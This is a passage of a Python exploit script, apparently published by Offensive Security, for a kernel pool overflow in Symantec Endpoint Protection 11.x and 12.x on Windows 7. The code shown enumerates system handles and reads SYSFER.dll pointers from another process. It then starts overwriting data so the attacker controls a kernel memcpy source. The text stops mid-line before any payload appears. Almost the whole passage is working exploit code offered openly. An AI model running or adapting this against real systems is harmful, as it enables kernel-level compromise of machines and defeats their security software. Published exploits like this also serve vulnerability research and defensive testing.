# Symantec Endpoint Protection 11.x, 12.x - Kernel Pool Overflow # http://www.offensive-security.com # Tested on Windows 7 # http://www.offensive-security.com/vulndev/symantec-endpoint-protection-0day/ # Authors: Matteo 'ryujin' Memelli & Alexandru 'sickness' Uifalvi offensive-security.com from ctypes import * from ctypes.wintypes import * import struct, sys, os, time ntdll = windll.ntdll kernel32 = windll.kernel32 TH32CS_SNAPPROCESS = 0x02 PROCESS_ALL_ACCESS = 0x1fffff FORMAT_MESSAGE_FROM_SYSTEM = 0x00001000 NULL = 0x0 MEM_COMMIT = 0x00001000 MEM_RESERVE = 0x00002000 PAGE_EXECUTE_READWRITE = 0x00000040 SystemExtendedHandleInformation = 64 STATUS_INFO_LENGTH_MISMATCH = 0xC0000004 STATUS_INVALID_HANDLE = 0xC0000008 STATUS_SUCCESS = 0 PVOID = c_void_p HANDLE = c_void_p class LSA_UNICODE_STRING(Structure): """Represent the LSA_UNICODE_STRING on ntdll.""" _fields_ = [ ("Length", USHORT), ("MaximumLength", USHORT), ("Buffer", LPWSTR), ] class SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX(Structure): """Represent the SYSTEM_HANDLE_TABLE_ENTRY_INFO on ntdll.""" _fields_ = [ ("Object", PVOID), ("UniqueProcessId", ULONG), ("HandleValue", ULONG), ("GrantedAccess", ULONG), ("CreatorBackTraceIndex", USHORT), ("ObjectTypeIndex", USHORT), ("HandleAttributes", ULONG), ("Reserved", ULONG), ] class SYSTEM_HANDLE_INFORMATION_EX(Structure): """Represent the SYSTEM_HANDLE_INFORMATION on ntdll.""" _fields_ = [ ("NumberOfHandles", ULONG), ("Reserved", ULONG), ("Handles", SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX * 1), ] class PUBLIC_OBJECT_TYPE_INFORMATION(Structure): """Represent the PUBLIC_OBJECT_TYPE_INFORMATION on ntdll.""" _fields_ = [ ("Name", LSA_UNICODE_STRING), ("Reserved", ULONG * 22), ] class PROCESSENTRY32(Structure): _fields_ = [ ("dwSize", c_ulong), ("cntUsage", c_ulong), ("th32ProcessID", c_ulong), ("th32DefaultHeapID", c_int), ("th32ModuleID", c_ulong), ("cntThreads", c_ulong), ("th32ParentProcessID", c_ulong), ("pcPriClassBase", c_long), ("dwFlags", c_ulong), ("szExeFile", c_wchar * MAX_PATH) ] Process32First = kernel32.Process32FirstW Process32Next = kernel32.Process32NextW def header(): """Print exploit header""" print "[+] Sysplant 0x0222084 Kernel Pool Overflow" print "[+] Product: Symantec Endpoint Protection" print "[+] Authors: Matteo 'ryujin' Memelli & Alexandru 'sickness' Uifalvi offensive-security.com" def getLastError(): """Format GetLastError""" buf = create_string_buffer(2048) if kernel32.FormatMessageA(FORMAT_MESSAGE_FROM_SYSTEM, NULL, kernel32.GetLastError(), NULL, buf, sizeof(buf), NULL): print "[-] " + buf.value else: print "[-] Unknown Error" def signed_to_unsigned(signed): """Convert signed to unsigned integer""" unsigned, = struct.unpack ("L", struct.pack ("l", signed)) return unsigned def get_type_info (handle): """Get the handle type information.""" public_object_type_information = PUBLIC_OBJECT_TYPE_INFORMATION() size = DWORD(sizeof(public_object_type_information)) while True: result = signed_to_unsigned( ntdll.NtQueryObject( handle, 2, byref(public_object_type_information), size, None)) if result == STATUS_SUCCESS: return public_object_type_information.Name.Buffer elif result == STATUS_INFO_LENGTH_MISMATCH: size = DWORD(size.value * 4) resize(public_object_type_information, size.value) elif result == STATUS_INVALID_HANDLE: return None else: raise x_file_handles("NtQueryObject.2", hex (result)) def get_handles(): """Return all the processes handles in the system atm.""" system_handle_information = SYSTEM_HANDLE_INFORMATION_EX() size = DWORD (sizeof (system_handle_information)) while True: result = ntdll.NtQuerySystemInformation( SystemExtendedHandleInformation, byref(system_handle_information), size, byref(size) ) result = signed_to_unsigned(result) if result == STATUS_SUCCESS: break elif result == STATUS_INFO_LENGTH_MISMATCH: size = DWORD(size.value * 4) resize(system_handle_information, size.value) else: raise x_file_handles("NtQuerySystemInformation", hex(result)) pHandles = cast( system_handle_information.Handles, POINTER(SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX * \ system_handle_information.NumberOfHandles) ) for handle in pHandles.contents: yield handle.UniqueProcessId, handle.HandleValue, handle.Object def getppid(mypid=None, rec=False): """ Get Parent Process """ pe = PROCESSENTRY32() pe.dwSize = sizeof(PROCESSENTRY32) if not mypid: mypid = kernel32.GetCurrentProcessId() snapshot = kernel32.CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0) result = 0 try: have_record = Process32First(snapshot, byref(pe)) while have_record: if mypid == pe.th32ProcessID: if rec: result = getppid(pe.th32ParentProcessID, False) break else: result = pe.th32ParentProcessID break have_record = Process32Next(snapshot, byref(pe)) finally: kernel32.CloseHandle(snapshot) return result def getSysFerPointer(phandle): """ Get child_block and child_block_size variable addresses """ csysfer = create_string_buffer("SYSFER.dll", len("SYSFER.dll")) hsysfer = kernel32.LoadLibraryA(addressof(csysfer)) if not hsysfer: print "[-] LoadLibrary Failed!" sys.exit() print "[+] SYSFER Base address %s" % hex(hsysfer) cscb = create_string_buffer("child_block", len("child_block")) sysfer_child_block = kernel32.GetProcAddress(hsysfer, addressof(cscb)) if not sysfer_child_block: print "[-] GetProcAddress Failed!" sys.exit() print "[+] SYSFER!child_block ptr @ %s" % hex(sysfer_child_block) cscbs = create_string_buffer("child_block_size", len("child_block_size")) sysfer_child_block_s = kernel32.GetProcAddress(hsysfer, addressof(cscbs)) if not sysfer_child_block_s: print "[-] GetProcAddress Failed!" sys.exit() print "[+] SYSFER!child_block_size ptr @ %s" % hex(sysfer_child_block_s) child_block = c_ulong(0) read = c_ulong(0) # Read child_block address res = kernel32.ReadProcessMemory(phandle, sysfer_child_block, byref(child_block), sizeof(c_ulong), byref(read)) if res == 0 or res == -1: print "[-] ReadProcessMemory Failed!" getLastError() sys.exit() # Read child_block_size child_block_s = c_ulong(0) res = kernel32.ReadProcessMemory(phandle, sysfer_child_block_s, byref(child_block_s), sizeof(c_ulong), byref(read)) if res == 0 or res == -1: print "[-] ReadProcessMemory Failed!" getLastError() sys.exit() print "[+] SYSFER Pointer retrieved successfully!" return child_block, child_block_s, sysfer_child_block, sysfer_child_block_s def craftSysFerData(phandle, sysfer_child_block, sysfer_child_block_s, evil_child_block, evil_child_block_size): """ Replace SysFerData to control memcpy source buffer """ wrote = c_ulong(0) ecb = struct.pack("